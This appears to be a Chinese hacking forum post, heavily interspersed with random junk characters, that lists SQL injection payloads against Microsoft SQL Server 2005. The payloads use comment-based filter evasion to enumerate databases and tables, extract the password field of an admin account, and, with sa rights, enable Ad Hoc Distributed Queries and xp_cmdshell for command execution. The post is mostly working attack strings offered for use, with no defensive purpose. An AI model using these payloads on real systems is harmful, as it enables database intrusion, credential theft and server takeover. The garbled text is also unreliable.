1 W1 S1 c. O, e2 T* F6 @" ^
$ S: q# d3 O5 H0 e8 |& w) K& u" v
[Copy to clipboard]CODE:% o n6 f) i! t# X$ i
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
' _( |1 |# J* F. h! Z) R+ L
; n0 q1 s+ l; E k爆表语句,somedb部份是所要列的数据库,红色数字1累加
1 w% F) ^% i: m) W
; x. M U% ^4 h# P1 X" h$ e# @/ I+ I6 {% J
[Copy to clipboard]CODE:
6 V3 J$ }4 w0 ~1 ], {- w6 q4 f# ]) p/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--3 X# ^* ]# p/ w" n$ Q
& d4 J7 w \, F1 S7 N0 s f爆字段语句,爆表admin里user='icerover'的密码段- ^& }4 \$ O7 b3 I1 ~& i: N* a
/ W3 b6 o b0 _. t# h" h! S1 j, A# u; V; e, ?
[Copy to clipboard]CODE:
. g/ R. E' i7 A) h! N**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
2 w0 a6 D- b: V% A" e( S; p( b' h: P( j/ B, r' P' [! {
mssql2005默认没有开xp_cmdshell的,openrowset也不能用$ G) i: Y( C: G# f6 n
如果是sa权限,可以这样来开启& L) t/ u* D# @( ^$ V
开启openrowset% s. T6 ], e7 h" @
! ^/ H* n4 N( ~# q0 p+ D
! }# i+ O: v; P7 G
[Copy to clipboard]CODE:) ~9 e0 L, f1 k
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
" u' o( h+ {/ L' ]! I; m$ j9 }4 `5 W/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--4 S$ e7 X6 f! @) h* T" ]6 c
0 Z" i% M/ B+ G. F
开启xp_cmdshell
! ]+ q% |1 D3 w4 b; p
$ p9 M: {" |5 j% d: c& Y1 L* f" P# k: R. ?
[Copy to clipboard]CODE:
1 R* k+ B( V4 [/ lEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
: k# e; W8 e6 M% d: gEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--* h' W0 t* c- r$ o" ^/ Z: T
5 C; X9 b0 D. Q* ^" R- K: x. Z9 jok,over~~晚安1 G$ `( T3 C9 [! Y6 y
|